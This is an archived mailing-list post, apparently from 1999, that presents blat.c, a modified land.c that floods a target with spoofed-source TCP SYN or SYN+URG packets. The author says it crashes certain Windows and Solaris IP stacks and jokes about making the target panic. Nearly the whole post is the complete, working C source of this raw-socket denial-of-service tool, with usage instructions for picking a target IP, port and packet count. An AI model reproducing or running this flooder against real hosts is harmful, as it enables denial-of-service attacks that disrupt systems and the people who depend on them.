blat.c was originally born out of some firewall 'exercising' that I was doing. More on that at a later date, but I came across an amusing bug in some windoze IP stacks and a nasty one in slowaris. The code below is just land.c slightly modified to trigger the bugs and can be used as a brain dead SYN flooder. The windoze bug seems to have now been fixed but went like this....after receiving a large number of TCP open requests left in the SYN state, the TCP portion of the IP stack would cease to work. ICMP, udp etc were fine but no new incoming or outgoing TCP sessions work. Further research lead to the slowaris DoS regarding its handling of TCP open requests with the urg flag set. It would seem the IP stack reserves resources for such an urgent open request and after receiving a large number, it ceases to respond. To make things worse, if the admin of the box you blat HUPs the controlling process, it panics. :) oops. /* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */ #include <stdio.h> #include <netdb.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/ip_tcp.h> #include <netinet/protocols.h> struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct sockaddr_in sin2; struct hostent * hoste; int sock,i; int foobart=1000; u_char foobarflags=TH_SYN; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"blat.c by Loneguard\n"); if(argc<4) { fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; bzero(&sin2,sizeof(struct sockaddr_in)); sin2.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length); else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((hoste=gethostbyname(argv[2]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1) { fprintf(stderr,"unknown host %s\n",argv[2]); return(-1); } if((sin.sin_port=htons(atoi(argv[3])))==0) { fprintf(stderr,"unknown port %s\n",argv[3]); return(-1); } if (argc>=5) foobart=atoi(argv[4]); if (argc>=6) foobarflags=0x22; if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } for ( i=0;i<foobart;i++ ) { sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1); bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin2.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); /* tcpheader->th_flags=TH_SYN&&TH_URG; */ tcpheader->th_flags=foobarflags; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_urp=htons(666); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } } fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]); close(sock); return(0); }
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:25:29 PDT